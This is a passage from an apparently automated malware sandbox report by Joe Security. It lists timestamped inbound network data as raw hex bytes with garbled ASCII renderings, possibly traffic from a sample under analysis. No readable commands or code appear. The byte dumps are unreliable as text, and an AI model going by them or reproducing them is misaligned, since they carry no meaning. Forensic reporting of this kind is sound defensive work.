e6 ba a6 0e a9 3e 07 d7 42 c9 48 8c 62 d4 a8 68 11 5f de be 96 bf e3 80 92 a1 c9 c9 cf 1c eb 80 90 d6 04 7f 3b 4c 63 73 11 b0 0d f0 e6 e1 82 d5 d9 70 0f f5 b7 d9 fb b9 b2 a7 91 84 0e e5 f3 f1 4d 55 9a Data Ascii: u<oSoXTDNr%97+2q>#l9YsR?/,0HD7u>Ih;D]9'#9?@uP:}`Lbrt&+<]7(!p6i?^]x[`uLnw8>BHbh_;LcspMU

2021-11-08 19:52:30 UTC 1992 IN Data Raw: d0 bd f3 14 9c fb 2c 24 79 a3 c9 14 75 88 d7 52 64 07 90 79 56 a3 6c c9 74 22 e8 86 f8 f6 36 47 42 3b dc 6b 22 8e 95 af 72 f9 f2 05 68 d7 65 1c 53 3b 5e 90 8a ff aa f9 24 13 82 d1 cb 73 21 d7 c2 3d d6 7d c7 7a e5 f1 2b cc e4 d4 ea 72 fd 8d 48 ba 05 3b 67 ae 2f fc ba 8f 63 8b eb 64 a2 8a f3 74 0a 29 0f 81 0f a3 15 86 31 38 61 13 96 de 24 8b 84 aa 89 be 0c 0c 35 1a 40 96 f6 66 93 b7 de a0 7c 41 b1 3f d8 a7 de 98 39 d7 80 10 3c a7 59 fa f2 35 63 2a e1 3a dd e7 9d 0d 1e 44 0a b7 a9 a9 4b 39 16 37 89 ec 3d 7b a0 05 b2 2e e2 74 ac 8a 85 65 f9 f2 b6 78 10 7a 12 58 20 f6 43 87 fd d9 7f 35 90 60 9c 03 b3 40 15 2e 44 10 6e 9a ba d4 86 c2 a9 b1 5a 68 ba 4b 87 53 2e b2 8d b2 a3 b5 fd c1 84 bd f6 8d 25 ec bc 4f 70 92 6b a7 76 f7 c1 df 7c c2 e2 e8 6d 29 db 86 ff f0 14 Data Ascii: ,$yuRdyVlt"6GB;k"rheS;^$s!=}z+rH;g/cdt)18a$5@f|A?9<Y5c*:DK97={.texzX C5`@.DnZhKS.%Opkv|m)

2021-11-08 19:52:31 UTC 2008 IN Data Raw: d9 45 5a 23 7b db 75 53 cb e1 c8 27 43 ce ae 9e d2 1e 8d db 7d 82 9a 5a d1 fd 44 81 60 ac 60 71 1f 8b 96 d6 8b 09 87 48 b4 51 d6 06 09 1b a1 11 d9 75 fd e5 06 9b 89 af 2f 16 f4 82 22 3a 89 15 a7 13 9b 02 1c d8 4c 43 53 e4 1b 8f f3 ee 1b 6f dd 4b 51 6d 0a b5 6f 53 74 5c 65 cb f1 c6 01 92 74 4b 56 d1 68 ff ce d8 b6 04 87 38 c1 09 fc 5c 66 f5 c8 7f ef 0799 67 84 87 9d e3 5f 20 eb 06 df 23 db 33 ca 95 9c 8e ec 64 7c 88 95 9f d7 ba 3b 7f 66 d5 48 cd c0 b9 cf e6 78 05 f2 db d7 a8 ce fd 24 91 d7 99 b1 d8 67 4d 32 0d 9f 69 83 aa bc 19 f1 68 a8 ea 4a 0e 17 6b 7c 9b 77 d5 03 f4 9d 08 6f 64 c2 0f 43 80d4 9e 38 58 d8 c6 2f 69 0f 6f 8d 64 9f 59 85 e2 35 65 f1 1d 8d 0e 1e 37 33 f4 f7 ae b0 69 3b 43 58 59 56 ca 03 f8 14 ac 88 70 d1 de 6a 1e b5 ce 0b b0 c0 67 32 74 68 Data Ascii: EZ#{uS'C}ZD``qHQu/":LCSoKQmoSt\etKVh8\fg_ #3d|;fHx$gM2ihJk|wodC8X/iodY5e73i;CXYVpjg2th

2021-11-08 19:52:31 UTC 2024 IN Data Raw: bb d4 30 8a 84 68 0d 8e 48 04 56 82 2f b8 08 9b 2c 6f 41 03 33 1d 5e ea 09 d8 93 55 58 b2 78 04 eb 4d 55 1e 50 8e 23 4b 98 19 2d 78 57 fa 39 1e 32 89 11 68 0a 25 30 3c a7 94 8f 92 39 9a b0 e0 75 2a 30 0a ce 1e 26 51 c8 66 47 7f 14 69 f3 63 48 7c 7f cc 41 1a 51 c6 b1 4f 08 7d bd b5 09 6b 60 dd 22 ec 81 1d 7a 8f 94 98 b3 8a 68 3e 66 f6 8f ee 79 4b 14 3a 2a 03 1c 9d 3e 94 89 e8 9b c7 21 b9 f8 7a 09 48 33 45 81 82 73 93 36 82 48 f0 83 9f aa 4d 9b 0f ff 8c b6 04 c7 45 30 c1 2a 97 bf 6f 20 05 3c 04 ab 97 7c 3c d0 36 81 19 c1 87 0b 04 49 d8 47 8e 4f 00 10 87 46 32 e6 d5 70 ef ea 6a a1 b5 f5 d2 14 f3 08 6e dd cf f9 c9 6f 58 cb 76 c2 d3 6d cc 5c 09 9a b3 00 dd 5a 9e 20 84 35 54 2b f1 0f 59 a2 3c 6f 53 d7 74 43 25 fc 6d 8b 6d 97 74 76 bb 64 10 83 ff 77 83 72 0d 16 Data Ascii: 0hHV/,oA3^UXxMUP#K-xW92h%0<9u*0&QfGicH|AQO}k`"zh>fyK:*>!zH3Es6HME0*o <|<6IGOF2pjnoXvm\Z 5T+Y<oStC%mmtvdwr

2021-11-08 19:52:31 UTC 2040 IN Data Raw: be 2d 7f 95 f4 83 f9 e8 8c bc d1 dd ef 27 78 29 52 6c 9d 41 cf 46 fd 18 d3 b4 83 09 fb 0f 90 b6 fd ac 45 c6 8f 0f db a3 ec cf 42 40 3c a8 4d 80 28 14 06 5c 60 e3 1e 20 cd a6 86 dc 17 ac 31 ff b7 b1 1f e2 03 8c 07 2c d7 6c 4f aa 12 93 53 41 98 1d 00 31 d5 41 51 10 82 83 03 b1 dd 3c 82 93 8b 53 33 66 79 7c f7 30 1c b7 cd c5 0a f9 4d 57 d2 54 a2 bd e6 ba c9 ed 55 2e 4b e4 c6 36 41 ef a5 a3 7e 99 21 6d 6d da fd 9b 34 6d 82 13 40 b9 9b 74 7d 9c 03 b1 29 45 e5 34 7b 72 51 91 c2 66 8f c9 18 ac 2e f9 b0 c3 15 d9 b8 02 3f f3 40 27 85 e6 97 97 0a e1 1c 77 11 e7 20 6d 5b 50 66 b7 13 fa cd 4c cd 62 d6 ad 01 9e 52 8d e7 35 54 c0 2a 1e 3a 89 3e d1 64 f3 fc 46 0f d1 90 de 85 52 4c b5 4d f1 5f 04 73 ec b5 9a af b1 04 e1 2a5b 9c 15 9d 5d 0e b5 9f 6b dc 1e 15 08 97 32 f4 Data Ascii: -'x)RlAFEB@<M(\` 1,lOSA1AQ<S3fy|0MWTU.K6A~!mm4m@t})E4{rQf.?@'w m[PfLbR5T*:>dFRLM_s*[]k2

2021-11-08 19:52:31 UTC 2056 IN Data Raw: 58 22 8c d4 95 70 b1 e9 da 32 15 9d b4 3a f3 ff 3c b8 c3 e2 20 5d 63 1a 48 84 e3 11 aa 92 1b 78 c9 68 f2 fd 2e 6c cd f3 e7 d4 e8 31 18 b0 a1 58 cd 0c 5b 15 a4 c6 0b e7 8b fb be 55 d2 4b a8 2e b6 66 d6 15 bc 90 de a6 b9 c2 fc a1 d1 38 44 e5 eb eb 90 ef bf 8f a1 b2 4c 63 69 fe fc 01 72 40 94 7a 2c 92 e8 a5 de 90 ad 4b c2 ce c9 5b 28 ed 8f 09 20 96 71 95 a6 1a 62 f6 3c 80 74 d6 94 08 83 29 70 41 1b a2 32 55 fc 25 16 bb f4 74 f3 78 b4 01 a4 f5 71 49 dd 61 e2 5d 67 52 36 a4 bb c3 c8 46 10 33 34 d4 d7 02 a1 92 80 a1 c5 60 2c 2e 1d 2a 0e 84 99 34 db cd 54 e2 74 7c 55 e1 a4 c2 64 65 7a 33 fc bf 34 0b cd cc 2c fa 4c bc e1 d8 5d 1f 93 a9 b7 91 8a 18 95 0c 1c 72 48 19 21 ba c5 c8 0e d2 8f 65 69 bc a6 34 05 53 57 ec 4b 07 f1 d6 0f 45 72 84 8b 8a 3a 7a 8e 24 9e b9 8f Data Ascii: X"p2:< ]cHxh.l1X[UK.f8DLcir@z,K[( qb<t)pA2U%txqIa]gR6F34`,.*4Tt|Udez34,L]rH!ei4SWKEr:z$

2021-11-08 19:52:31 UTC 2072 IN Data Raw: 96 a2 ce 5e 8e 3d 87 53 9e b6 78 40 4b 5a d9 0f 5d d2 4d db 59 5d 63 4b 6f 07 00 1b 43 f8 a6 15 ef 29 72 3f 42 ab f7 69 29 2b f2 f4 99 34 28 e8 13 54 e1 21 3c b4 18 4b 16 ac 10 5b 53 5b 29 19 0f 9c 08 30 b0 39 eb 4a 67 60 c5 d2 3c 5e eb 9b 0d c5 4e 5d d0 c4 bc 17 aa 55 dd 88 42 9b b9 cb 0d c0 d4 7a 2f 27 d9 fd 21 b0 af 38 4e 90 78 2a 75 c2 72 a0 db 51 b3 93 46 64 11 65 2f ae bc cb 39 f9 53 a1 30 4c 3b 36 ca a5 f4 24 ee 7c c5 63 7a 62 d8 79 fe 79 8c 04 02 49 38 7e b5 22 a5 d9 19 15 82 cd c0 86 a7 b0 5b f9 3b 00 90 91 d1 06 45 56 11 93 e5 75 ed d5 ec eb 1f 49 e3 56 1f 9e 3c 13 86 b7 7a 2b 14 de 4d 4c 85 08 0b 39 b5 51 6f cf cc e2 9e ac 2c 1c 85 c8 74 e0 a0 d1 af b5 cc 24 05 65 9b cb bb 8d 2d 86 6f f7 43 26 21 c3 e7 c4 87 07 65 9c e9 ac 91 26 0f f6 2a 38 28 Data Ascii: ^=Sx@KZ]MY]cKoC)r?Bi)+4(T!<K[S[)09Jg`<^N]UBz/'!8Nx*urQFde/9S0L;6$|czbyyI8~"[;EVuIV<z+ML9Qo,t$e-oC&!e&*8(

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 33 of 51

2021-11-08 19:52:31 UTC 2088 IN Data Raw: 28 08 cf e0 3c 1f 7c fe 7b 64 99 74 21 b0 14 3e ea 70 61 df b8 0d 03 d0 ce 63 cf ec c9 f3 73 fa ed cc fe 92 54 3a 16 7c 3a d3 a8 14 c4 5a 1a db f7 72 f4 f6 14 7d b9 ac a4 96 3b 37 73 f2 fd c5 51 9d a0 76 69 54 8c fb 69 4a 66 02 4f cc a9 0c 6e 28 78 06 b9 33 76 a5 29 aa 1a f3 c1 5a 4f 70 b8 26 6d c9 96 a6 63 36 9c 6e f5 98 ea 47 f1 0b 93 70 77 87 a6 17 76 88 98 0f 27 a3 cd ab a7 c7 32 33 10 27 c7 ec ad 60 ab ee a6 e0 89 6b 61 e3 e2 b1 ea 87 ae 76 47 fb d0 d0 67 3c 8e c4 64 54 42 13 b3 ef 95 1d 1b 5e 81 e4 d0 dc ca c2 08 88 9c f6 f5 e7 ad a0 13 86 15 97 70 0d 61 e2 ff 03 42 0c 7d d1 80 73 aa cf 7d 16 9e 34 94 5e 2c c7 18 c2 91 65 7a 7d 60 19 f7 cf 1e d8 8c 4a 2e 17 af 8a bd e7 8b 9a 53 2f 42 12 74 92 61 df 8e 49e3 3d 11 40 27 d4 13 01 17 5c 79 32 bb 73 f7 Data Ascii: (<|{dt!>pacsT:|:Zr};7sQviTiJfOn(x3v)ZOp&mc6nGpwv'23'`kavGg<dTB^paB}s}4^,ez}`J.S/BtaI=@'\y2s

2021-11-08 19:52:31 UTC 2104 IN Data Raw: 6c 08 ff 85 07 4b 9b 06 35 c9 ad b6 50 a4 90 69 9b 71 12 47 e3 b3 69 ce 2a ad c9 2a df 92 e0 2d 3f 5e e9 94 18 f1 92 d2 ee ec ea 2b 91 3f 57 c8 8e 53 c6 1e 81 e9 ba db b2 9d b5 b4 cb b6 88 e3 52 cc e8 fa a6 69 8f 6d 6b 51 95 74 6e 48 3f 20 3e 44 99 b3 17 a6 b4 10 ad cb 5d a4 8a 5c 42 c8 1e 5c 15 4c 28 a9 ca 14 00 fb b4 55 48 b9 f4 97 b5 bc 5a f6 8a bf f9 95 b4 4e 9f 8f 52 92 dd 0d 1f 5b 4a 5e f8 6e 73 49 32 2f 0a 70 57 d8 ba d2 49 21 0d 91 b2 1f a1 3a 02 db 38 5b 9f dd 3c 46 eb d7 9c be 8d 2f cf 65 1f 8b 37 d7 0e 27 4c 40 b2 30 ce 03 48 45 d0 03 d4 2c 9c b8 d2 34 e1 bb cc 03 6e 01 62 a6 ac 7a a2 ab 99 d4 02 ff ef dd 1c 4f 80 81 c0 6f 18 9e 5e 35 76 0c 18 62 57 a0 a6 af 26 96 7f 1c 0f 1a 52 3a 83 e4 d6 21 13 8d 27 3d 7e 98 ee 24 83 77 04 a5 e6 bd f0 df ba Data Ascii: lK5PiqGi**-?^+?WSRimkQtnH? >D]\B\L(UHZNR[J^nsI2/pWI!:8[<F/e7'L@0HE,4nbzOo^5vbW&R:!'=~$w

2021-11-08 19:52:32 UTC 2120 IN Data Raw: 91 f2 a9 e8 2e 4d 2b 5f f6 65 53 b7 15 c1 37 5f 4c c1 49 16 3d 6a 09 cf ca ab 17 d5 8e bf 55 41 53 4f 1b cf 76 1a 4a 19 f0 34 01 0a 99 04 ee 62 f6 28 df d3 3f bb 18 c6 fe 13 04 28 18 25 77 13 31 d7 c5 9e 8a cc 67 70 62 b0 c6 a8 8e 32 65 25 ab 66 6b 17 6e 4d 01 62 43 09 d6 2a 76 d4 d7 aa 49 5e 8a 28 76 d2 5f 4d 2a 1c b2 96 08 98 6e f1 46 bd 83 61 93 94 d1 9b 3b b0 a5 b4 61 c4 80 28 bb 73 cf 44 44 0d 45 23 75 96 95 6f 46 4f 86 dc da e0 09 d1 b8 44 58 fd 58 2c 3e 1a 54 44 34 e8 ca d9 80 d9 f1 24 bc 02 a7 f3 fc af dc c3 1f f0 b9 78 fc ec dd 52 66 a5 a4 30 95 e7 21 59 c4 1a 97 cd 7b 9b e9 85 b9 69 51 f7 74 c1 a4 9a 4d ee d5 39 3d 36 f7 8a ee bb 59 3b 1c a9 e0 99 b7 73 b1 cd 76 2a 04 b0 3e d8 f3 b9 8d a2 90 c8 9d 2a 7d 41 ed f6 17 c4 2a b4 29 5f 91 1c 84 0f 8f Data Ascii: .M+_eS7_LI=jUASOvJ4b(?(%w1gpb2e%fknMbC*vI^(v_M*nFa;a(sDDE#uoFODXX,>TD4$xRf0!Y{iQtM9=6Y;sv*>*}A*)_

2021-11-08 19:52:32 UTC 2136 IN Data Raw: 61 5c 4a de 53 88 63 a0 48 0a 39 b4 4f 21 2a d9 af 8d 5d af 03 2b 95 4b c0 1c 01 6d 05 ce d0 4e b3 df 81 9b 31b1 ac 65 f1 f8 65 01 0b dc 28 5f 26 b0 30 8e eb 96 26 29 c8 02 f1 9b 61 b6 ce c2 61 7d 77 d6 10 0f 15 4e b7 73 bf a4 11 b3 12 f0 15 85 6e fc 11 33 c9 98 dc 16 5b 0b 02 7a 30 33 7b 1a 05 15 c3 7f 94 bb b1 73 28 f2 2f 34 1c 0d 94 a3 8c 8b 19 c2 e6 7f 0d 7f 1f 06 3e ab 68 40 ae 9d 68 39 11 a3 d3 b5 f6 16 51 82 4b 06 b8 ab 0d 25 d9 cb 7b 4b fc 4f 4c a9 0f 37 5b 30 18 20 2c c7 c6 ef b2 67 a8 b2 b5 38 80 5c 04 1c 0e 4a b8 aa bc 9c e2 3b f6 a3 72 6f 19 a3 2d 7e f4 eb e6 d5 20 a2 2d 3d b2 c7 3e 99 5b 26 39 51 ac 4a a9 ca ac 12 e1 0f 1c 73 40 d3 f3 58 b4 0a 0c 9c 6a 29 3d 8e 8f 95 8d 1a 45 5b a5 6b 31 40 e4 bc 7b de 07 74 96 51 b1 6d e8 dd 29 99 98 0d fc Data Ascii: a\JScH9O!*]+KmN1ee(_&0&)aa}wNsn3[z03{s(/4>h@h9QK%{KOL7[0 ,g8\J;ro-~ -=>[&9QJs@Xj)=E[k1@{tQm)

2021-11-08 19:52:32 UTC 2152 IN Data Raw: af 5e e0 d4 10 b2 87 3d 0b c5 e1 2a ba 2a 27 56 a3 74 19 76 99 a7 3d 99 73 a1 68 ff af b8 04 88 c8 64 a0 b6 b7 10 5b d1 7e c2 35 5d a3 9f 01 fc 87 96 8f 42 39 16 31 ef 82 d9 62 d0 3a 22 c8 20 4d 13 fb e0 de c0 8b 53 ee ab 1f 32 a9 d6 ef 31 1f 15 77 a2 2d 25 f6 a3 38 60 31 19 87 c8 69 f4 8d ba cd e5 73 ce f2 0f 7f ac 68 96 63 ba dd 76 d1 d6 d9 27 ef dc 4a b2 74 4c c7 1c 2e 4a 88 34 6a b1 9e 0d 8e 48 74 92 61 f6 2c e8 9f fd 4a ed 15 d1 f1 13 ac 22 40 03 68 df 23 b3 64 6c 3f 26 60 ca 13 59 e8 b2 f6 5a 5e bc c3 01 ba d9 1b f7 fb 93 5d fc 21 c9 55 89 f0 f8 bd 0b b6 9c 51 26 fb d6 d2 b3 ab 15 6f 1e e6 17 77 33 67 56 6a 7e 0d 9d a7 67 7c 0f c1 8d cf 08 79 be 59 37 3b 8c 1a 08 b5 4d 28 d3 4c 6f 86 29 02 ea 74 10 57 d1 c7 39 15 8c 5a 71 03 66 8d 36 bc 4a 6e 19 b2 Data Ascii: ^=**'Vtv=shd[~5]B91b:" MS21w-%8`1ishcv'JtL.J4jHta,J"@h#dl?&`YZ^]!UQ&ow3gVj~g|yY7;M(Lo)tW9Zqf6Jn

2021-11-08 19:52:32 UTC 2168 IN Data Raw: bc 1d 8d b9 9c 98 7f 0e 1f 1e bc fe 7a 8b c3 09 bd 4c 4f 73 06 69 23 30 e7 56 6a 51 7c e1 64 de ef 02 e2 c4 66 76 45 1d be a5 5f 3d 2b 08 72 bf de 06 a6 26 cf 23 81 f6 ac ae 7f 7c f2 0d d8 5d 45 c5 da 34 7f f0 ef 6e 25 03 ad 58 61 6b 6f 65 28 a9 10 35 be 45 7e 63 28 dd a1 f7 0e 10 c0 6e 84 5f a0 df 5b 36 82 8b f6 9a 7f 32 3b 39 64 93 b7 c0 cd 7b 4a 3f ff 75 12 53 88 c9 37 07 8b 74 5c e8 78 e4 70 82 12 71 5f 16 3a 6c 35 81 e5 7d 44 9d 69 43 e8 04 11 95 95 94 9b 07 e6 9a 15 f5 59 17 0f 93 b1 dc de 99 4a e9 97 92 ba d1 43 c2 9a 61 e5 91 95 c0 5c 94 47 e1 6e 6b 27 83 6b 0d a3 ea 69 60 45 d8 31 3c 26 62 9c 61 4d 23 df b6 3d a8 1d 4d 83 f0 27 83 0b 73 d0 00 da 2e 89 a8 08 1a ef 54 55 f6 78 8c 79 62 bf 03 35 f4 2640 e1 77 d0 1c 6c 35 ac ea 54 d7 53 b3 3e b6 0a Data Ascii: zLOsi#0VjQ|dfvE_=+r&#|]E4n%Xakoe(5E~c(n_[62;9d{J?uS7t\xpq_:l5}DiCYJCa\Gnk'ki`E1<&baM#=M's.TUxyb5&@wl5TS>

2021-11-08 19:52:32 UTC 2184 IN Data Raw: 7e 79 b3 6e 6e 13 ab 63 c8 b8 a2 23 de 1f 96 23 ea 35 c2 eb 5a 0b 64 3e 19 6d ba ff 36 de 0a c8 c5 86 21 48 81 8d aa 79 23 0b f3 f5 73 7a 5b 9b 40 9a 87 1f 47 d7 90 d4 ab d4 97 78 f1 c9 14 79 97 fc df 72 1b b1 2b 27 6e fb b8 fc d8 22 12 d6 c4 f6 75 7f ae a5 43 cb 99 d7 cf 55 52 cd d9 3c 29 02 fc 8d bc 77 cd 2a 62 90 7a 35 1e 39 2c 3f c0 72 b7 60 87 45 4a f4 84 15 43 14 48 c2 b7 4c ec ad 5d 9f b0 23 15 b9 ca 6b 6c db d7 d9 aa b2 0a 2f 13 1f 2b 70 e8 8d d5 2d 70 da 56 cb 23 c5 fe 87 95 b9 fa 09 d6 7d 9e 61 ed 72 d0 fa 01 8d a0 17 91 de cb 01 d6 87 86 44 4f 83 c8 14 5a af 06 1c e2 9b 9b 2b 9c 92 3f a7 b3 64 cd 76 bd 74 b9 2a 15 03 9e d7 b8 a6 64 b2 b2 55 da 1c 5d 4e cc cd 37 ab ee 96 5e c8 7f 75 42 cf d9 70 af 47 e4 f3 f8 0c 4b da d6 3e e6 2f 0c f9 61 f5 37 Data Ascii: ~ynnc##5Zd>m6!Hy#sz[@Gxyr+'n"uCUR<)w*bz59,?r`EJCHL]#kl/+p-pV#}arDOZ+?dvt*dU]N7^uBpGK>/a7

2021-11-08 19:52:32 UTC 2200 IN Data Raw: aa 1a 24 b6 a0 7d 9c 5c 55 41 9e b0 bb a1 46 3f a8 84 ec 34 b0 95 03 30 fa cb 1d 93 8e 4c d6 b2 87 94 8a 1e 8e 65 3d c6 bd 9d de f2 21 63 d8 b8 d2 c2 ee fd a7 18 5d 72 a9 23 03 34 74 b7 c8 c5 36 34 d3 5f 45 b3 0c 74 e9 da 7d 01 a1 4a c6 e6 c4 94 1b 8d 85 d3 94 b1 d3 f3 d5 d9 ac a0 1d fa 82 12 8c d8 75 24 af b1 9b ad a0 88 7b c9 3c 5a 16 58 ad 75 75 64 be ab 43 ab 54 bc c7 70 71 bd 6c 2a c0 d5 e8 03 0a 8b d3 c5 9b e8 77 32 a0 6a 9c 3b 17 92 24 e6 ef 32 8e 8e 06 1b 36 59 4a a2 4f e5 f6 c7 fe 07 50 06 11 f0 52 8a 50 81 ad 6f 7f 4b 07 0a 2a e0 54 ed be 47 bd f2 50 8b c5 d3 74 d8 ca 24 65 56 15 95 a6 b4 8d 9c 5f cd 58 f1 c3 cb a1 4a f0 54 fc 01 fb fb 7e bc 4b ea c7 62 30 ce 82 7f d7 9a c4 87 e2 61 d0 9a 8c 90 04 d7 0e ee 78 73 4c b8 ff 6f 45 ad a2 d8 ed c0 5d Data Ascii: $}\UAF?40Le=!c]r#4t64_Et}Ju${<ZXuudCTpql*w2j;$26YJOPRPoK*TGPt$eV_XJT~Kb0axsLoE]

2021-11-08 19:52:32 UTC 2216 IN Data Raw: ad 78 83 d0 ba f9 37 77 61 6b ae 01 ed a8 89 b8 46 ff 57 9f 0e ff 90 1f c0 3f f6 fa f0 1a fd 2b d1 cf 44 aa a8 12 3b 7c 68 5d aa 69 86 30 b0 26 f6 53 90 1d d9 d9 1c 4f f6 1a 59 7b 1a 4d 99 0c 59 4e 77 3c 88 0c 42 ac d8 74 bf ef 79 be c7 b5 44 74 1e 8e 22 18 cc 10 a9 bb 3d 85 4c 67 d2 55 a4 58 c5 22 c2 a8 2b d5 14 46 67 94 f8 46 ca 70 63 8c f4 6b 89 df ad a1 cb da 6e cf 94 7f ab 6c 81 77 1d b1 dd 91 79 1a 07 28 ad bd 7d 77 67 a6 98 a9 c9 4e 58 a9 1a 4c 21 ad 17 ee 17 7c 8b 2b 08 c8 81 e9 c0 98 b0 8c cc 69 f2 d9 01 33 7a 1b c8 cf e4 98 35 06 0e bb e4 de 1b 3d 9f 53 03 5e 3f 47 78 34 39 e4 83 0c 06 46 79 1e 99 ab 2f 86 25 12 68 2e 79 65 3f b3 2c 7a 5e b4 d9 66 41 04 00 ef 53 5c 00 7e 7a 18 61 e9 2d 08 c0 f1 4b 9e 7f a8 c9 b7 1c 9a 1e f5 55 4e 63 68 77 1c f7 Data Ascii: x7wakFW?+D;|h]i0&SOY{MYNw<BtyDt"=LgUX"+FgFpcknlwy(}wgNXL!|+i3z5=S^?Gx49Fy/%h.ye?,z^fAS\~za-KUNchw

2021-11-08 19:52:32 UTC 2232 IN Data Raw: 5f f8 96 d1 36 e2 92 90 34 93 2c 2c 18 32 8f 29 0e 02 ff b5 1e bf c3 ad ff 07 e1 b2 89 03 11 0e 36 93 ce bd 9c ba 62 4f cb a8 7c 3f f3 67 19 4b 87 fe b6 68 5f b4 7d 11 da de e7 63 bb 32 df ce 8a 78 f3 2a 6f 17 f6 48 1b 35 cc b7 f0 5e 39 0f 16 1f 66 f0 a7 44 d6 b5 c6 36 b9 66 82 fe 22 75 23 65 a5 2e 1d 2b aa 40 06 90 73 3f bd 19 31 31 4f 13 2b f0 eb 66 5c 65 68 ab 6f 69 72 a7 3a 70 d8 e4 28 d8 02 de 29 94 1e d9 2f 36 26 6a 54 11 de 09 52 77 6c 6c 39 d0 a5 86 26 54 55 64 2b 9a 25 a3 3d 5f 60 8d 7b 48 ab 2b 90 a9 a7 04 19 93 cf 95 b8 ce 05 75 14 46 e6 46 09 5e 58 f8 92 74 8b 7c b2 e4 a2 e0 f2 d7 7b 2a 78 58 0e da a1 ad 52 f0 5f 7f ef 9f 2d 36 18 23 39 50 41 1c 1a 03 fa ea 8c 28 f5 e1 f5 5b c0 02 84 51 5f f1 51 5d 60 19 bb d8 b0 41 bb 9b 63 0b 3c d8 ed 83 44 Data Ascii: _64,,2)6bO|?gKh_}c2x*oH5^9fD6f"u#e.+@s?11O+f\ehoir:p()/6&jTRwll9&TUd+%=_`{H+uFF^Xt|{*xXR_-6#9PA([Q_Q]`Ac<D

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2021 Page 34 of 51

2021-11-08 19:52:32 UTC 2248 IN Data Raw: 9e 23 6f 2d 71 6d 6c 76 54 30 b6 b2 f9 ae ac d8 52 fb de 78 ee d1 c7 fa 36 45 38 f8 24 6c 1c 76 59 33 d4 a3 d9 a7 a6 35 41 43 d5 16 59 52 06 d5 7b c5 5a cd 3b 81 30 53 34 dc aa 37 f2 2c c9 35 e4 01 9c 35 3e 80 59 c6 5e ba 3c af 2f 9b d9 40 58 af 1c e2 1a 3c 6f ce e3 9a 15 d5 7c 28 20 cc 2e 7d 5d 7a 27 4a 8c 5c e9 61 28 54 c0 44 c4 e2 16 22 c0 ca fe 93 46 57 fa 31 91 72 89 08 98 3b 6f cf ec a9 fb 80 e9 5b 82 d7 d0 52 7c 0f df 64 87 a1 93 4f 8f 45 06 10 1e c6 de c2 28 a2 10 7a 62 05 b0 06 1e 1d a1 3f 26 0d 54 09 0b 2e 8f ea ca bb aa 55 88 45 77 0a 24 5e 43 d7 80 be 43 30 d0 10 57 ae 0e 4f 71 62 be 52 48 2d 80 cb 7a de 28 c7 f5 fd e2 9f 5a cc de 9e 5e 40 b6 b4 7c 28 01 d3 35 38 fe f8 2c 36 f3 7a 3a f4 2f 2f e7 df 0c 7a 59 6d 8d 66 1e 9b 2b e5 33 ea b5 97 90 Data Ascii: #o-qmlvT0Rx6E8$lvY35ACYR{Z;0S47,55>Y^</@X<o|( .}]z'J\a(TD"FW1r;o[R|dOE(zb?&T.UEw$^CC0WOqbRH-z(Z^@|(58,6z://zYmf+3

2021-11-08 19:52:33 UTC 2264 IN Data Raw: 06 d6 a9 44 8c 0d 03 0d 4d d7 4f d7 5e a6 74 1f de d4 83 8a b2 6b 24 cf 37 44 0d 16 26 b0 42 84 93 cb b9 36 4c 35 e5 3e 7e 3a bb 16 f6 c5 09 d0 10 4d 4c 94 d9 a8 bc a6 0e 33 1b f5 6e 9f ab 77 74 c7 d0 73 cb cb 4c 2c fc 13 bf 92 4d 64 4e 88 da c9 11 7e a4 c7 4c 34 56 9e 6f be 7c 65 ff 9d 40 b0 60 3a 25 1e 8f 7c e2 d4 30 59 98 15 8b 75 7b 58 88 1b 51 50 0c 67 17 91 99 ef 12 1f 5b d7 d2 3a af 70 4a e2 ad f6 09 7f 02 22 c4 ad 94 30 f0 80 0b bb 8a e5 13 29 bb 81 d0 75 de 7e e6 d1 86 91 91 12 4b ba 31 2e d1 d9 13 e8 02 81 26 fd ea c9 32 ea 17 38 20 be 0e 41 69 07 f2 fe 29 91 02 15 82 26 c7 bd fb 78 df 25 fb 72 9e c1 0e a6 75 00 28 44 e1 a2 83 05 10 1e ff c3 87 48 09 12 61 96 d4 5a e3 6a 26 92 f0 5c b9 e0 59 75 a2 03 84 dd 91 a9 32 f3 51 9b f1 ea 4b 42 f4 1d 88 Data Ascii: DMO^tk$7D&B6L5>~:ML3nwtsL,MdN~L4Vo|e@`:%|0Yu{XQPg[:pJ"0)u~K1.&28 Ai)&x%ru(DHaZj&\Yu2QKB

2021-11-08 19:52:33 UTC 2280 IN Data Raw: 9c 2d 89 ea 15 8e b6 02 5e 17 64 dd a3 0c eb 05 3d 5e 36 43 3d 57 cd ac e2 a9 a5 21 0a 88 4c 8f ed 64 86 c4 e3 0a 8c 1d c1 5e 8f 85 a8 3a 15 c9 46 fb 19 b1 ea 52 06 56 5d 2f 2d f5 ab 71 a6 23 e0 a3 36 52 b6 c0 b9 15 ee b0 69 36 48 bb 51 b7 b9 0a dd 31 0f cb 14 79 e1 94 7b 1a e4 cd 1a 33 b0 ab 82 b5 36 ff b4 f0 6d 38 46 a4 7c 59 79 e8 54 78 9e 04 f0 c7 f2 de fd 6b c1 ef 53 48 0b 57 e8 93 d6 33 51 ed 8e be d6 73 90 68 8d 67 83 7f 5b 73 69 f3 52 4a 3d a3 82 36 63 a9 a6 c4 0d 30 db e2 26 c5 d9 40 15 55 33 a9 de a6 77 5d 8d 7b e7 10 fa cf b6 54 aa 23 da dd 7a 52 3e 94 86 3b 1f b0 16 7a 02 98 92 d7 fe 01 2b c1 43 9e 07 4e 20 4c 4c a1 25 af 9e e8 50 47 df 0e c5 ec e5 2f e0 3b 71 f0 a7 a9 a4 8e c1 3e b5 01 a8 0b 9c a8 bd 44 98 a7 66 6c 33 c7 54 ea bf 07 13 18 1b Data Ascii: -^d=^6C=W!Ld^:FRV]/-q#6Ri6HQ1y{36m8F|YyTxkSHW3Qshg[siRJ=6c0&@U3w]{T#zR>;z+CN LL%PG/;q>Dfl3T

